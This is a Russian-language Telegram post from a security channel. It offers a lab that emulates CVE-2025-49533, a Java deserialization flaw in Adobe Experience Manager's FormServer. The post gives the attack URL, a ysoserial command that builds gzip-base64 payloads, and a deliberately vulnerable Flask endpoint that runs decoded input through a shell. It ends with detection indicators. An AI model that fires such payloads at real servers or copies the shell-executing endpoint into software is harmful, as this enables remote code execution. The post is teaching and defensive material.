TGViewer
Четыре луча Четыре луча @four_rays · 4.02K subscribers
Post #138 3.05K
Ловите небольшую лабораторную работу, в которой мы промоделируем CVE-2025-49533.

CVE-2025-49533 — это уязвимость десериализации Java в модуле FormServer. Сервлет обрабатывает данные от пользователя, декодируя и десериализуя их без проверки в Adobe Experience Manager версии >= 6.5.23. Это может позволить злоумышленникам отправлять вредоносные данные, чтобы выполнять команды на сервере.

😬 Реальная эксплуатация будет выглядеть так:
/FormServer/servlet/GetDocumentServlet?serDoc=<@urlencode>H4sIAAAAAAAAA61WS28bVRg949dMJk6auknTppT03SRtZ5q45NGkTRu3adwaGnCaSrhSdD252NPYM9OZO41dCRas+AFsWCIhddFuWlCpkEBiCQtWrGCDhGCBBBs2SDy/…….</@urlencode>


Эта полезная нагрузка — результат выполнения:
java -DproperXalan=true -jar ysoserial-all.jar CommonsBeanutils1 "<RCE>" | gzip | base64 -w0


Хоть уязвимость вызвана в модуле Java, но мы будем использовать python, чтобы проще ее объяснить и смоделировать.

💡 Важное уточнение: этот код — эмуляция десериализации, реальных объектов не создает и функции не вызывает.

Создадим шаблон полезной нагрузки.
<@urlencode> RCE </@urlencode>


RCE — это результат выполнения команды.
echo -n "nslookup google.com" | gzip | base64 -w0


Итоговый payload:
<@urlencode>H4sIAAAAAAAAA8srzsnPzy4tUEjPz0/PSdVLzs8FAOZL2oUTAAAA</@urlencode>


Pуthon сервер:
import urllib.parse
import base64
import gzip
import io
from flask import Flask, request
import subprocess
import logging

app = Flask(__name__)

# Set up logging
logging.basicConfig(
filename='exploit.log',
level=logging.INFO,
format='[%(asctime)s] %(message)s',
)

@app.route('/rce')
def debug():
payload = request.args.get('cmd')

if payload:
if payload.startswith("<@urlencode>") and payload.endswith("</@urlencode>"):
payload = payload[len("<@urlencode>"):-len("</@urlencode>")]
print(payload)
decoded_url = urllib.parse.unquote_plus(payload)
print(decoded_url)
decoded_bytes = base64.b64decode(decoded_url)
print(decoded_bytes)
try:
with gzip.GzipFile(fileobj=io.BytesIO(decoded_bytes)) as f:
decompressed = f.read()
except Exception:
decompressed = decoded_bytes

ascii_text = ''.join([chr(b) if 32 <= b <= 126 else '.' for b in decompressed])

try:
cmd = ascii_text[:1000]
output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, text=True)
return f"<pre>{output}</pre>"
except subprocess.CalledProcessError as e:
return f"<pre>Error:\n{e.output}</pre>"
else:
return "example /rce?cmd=&lt;@urlencode&gt;H4sIAAAAAAAAA8srzsnPzy4tUEjPz0/PSdVLzs8FAOZL2oUTAAAA&lt;/@urlencode&gt;", 400

if __name__ == '__main__':
app.run(host='0.0.0.0', port=4502, debug=True)


При отправке нашего payload на сервере произойдет
:
1️⃣ отчистка от тегов <@urlencode> <\@urlencode>;
2️⃣ декодирование URL;
3️⃣ декодирование в Base64;
4️⃣ распаковка gzip;
5️⃣ выполнение RCE.

😬 Как защититься:
1) При реальной эксплуатации запрос будет представлять собой Base64 строку в тегах <@urlencode> </@urlencode>.
2) Base64 строка будет начинаться с H4s, что говорит о формате gzip .
3) Полезная нагрузка передается методом GET .
4) Конечная точка /FormServer/servlet/GetDocumentServlet .

Ставьте ❤️, если хотите видеть больше лабораторных работ в канале.
  • ❤ 46
  • 🔥 9
  • 👍 5
  • 👾 1
More from @four_rays
  1. Sep 14, 2026💣 Ржавый код: почему все переходят на Rust и когда аналитику можно его не реверсить Rust…
  2. Sep 11, 2026😳 DFIR diggin’ deeper: неочевидные источники артефактов при расследовании атак Когда стан…
  3. Sep 7, 2026😀 Call for Papers на технострим SOC Forum 2026 еще открыт! Темы: 1️⃣ Offense: актуальные…
  4. Aug 31, 2026☀️ Zimbra, все еще скрывающая боль Ранее мы уже рассказывали о расследовании «Zimbra, скры…
  5. Aug 19, 2026💡 Разберемся с непопулярными артефактами на OffZone 2026 Выбираете, какие выступления пос…
  6. Aug 17, 2026😀 Admin may cry CVE-2026-41452 — уязвимость, позволяющая перезаписать данные администрато…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →